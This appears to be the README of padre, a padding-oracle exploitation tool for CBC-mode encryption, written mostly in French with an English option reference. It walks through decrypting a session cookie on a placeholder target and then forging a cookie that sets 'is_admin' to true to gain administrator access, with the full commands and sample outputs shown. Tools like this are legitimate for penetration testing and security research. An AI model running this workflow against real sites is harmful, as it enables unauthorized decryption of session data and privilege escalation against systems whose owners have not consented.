
Exploit de Padding Oracle ultra-rapide et avancé
padre est un exploiteur avancé pour les attaques par Oracle de Padding contre le chiffrement en mode CBC
Fonctionnalités :

Le moyen le plus rapide est de télécharger le binaire pré-compilé pour votre système d'exploitation depuis la dernière version
Sinon, si vous avez Go installé, compilez à partir des sources :
go install github.com/glebarez/padre@latest
Si vous trouvez un oracle de padding suspect, où les données chiffrées sont stockées dans un cookie nommé SESS, vous pouvez utiliser la commande suivante :
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='
padre effectuera automatiquement l'empreinte des réponses HTTP pour déterminer si l'oracle de padding peut être confirmé. Si le serveur est effectivement vulnérable, le jeton fourni sera déchiffré en quelque chose comme :
{"user_id": 456, "is_admin": false}
Il semble que vous puissiez élever vos privilèges ici !
Vous pouvez tenter de le faire en générant d'abord vos propres données chiffrées que l'oracle déchiffrera en un texte clair malicieux :
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'
Cela produira un autre ensemble encodé de données chiffrées, peut-être quelque chose comme ci-dessous (si base64 est utilisé) :
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
Maintenant, vous pouvez ouvrir votre navigateur et définir la valeur du cookie SESS sur la valeur ci-dessus. En rechargeant la page oracle d'origine, vous devriez voir que vous êtes élevé au niveau administrateur.
Usage: padre [OPTIONS] [INPUT]
INPUT:
In decrypt mode: encrypted data
In encrypt mode: the plaintext to be encrypted
If not passed, will read from STDIN
NOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: -e, -r)
OPTIONS:
-u *required*
target URL, use $ character to define token placeholder (if present in URL)
-enc
Encrypt mode
-err
Regex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting
-e
Encoding to apply to binary data. Supported values:
b64 (standard base64) *default*
lhex (lowercase hex)
-r
Additional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters <OLD><NEW>.
Example:
If server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use -r "/!+-=~"
-cookie
Cookie value to be set in HTTP requests. Use $ character to mark token placeholder.
-post
String data to perform POST requests. Use $ character to mark token placeholder.
-ct
Content-Type for POST requests. If not specified, Content-Type will be determined automatically.
-b
Block length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values:
8
16 *default*
32
-p
Number of parallel HTTP connections established to target server [1-256]
30 *default*
-proxy
HTTP proxy. e.g. use -proxy "http://localhost:8080" for Burp or ZAP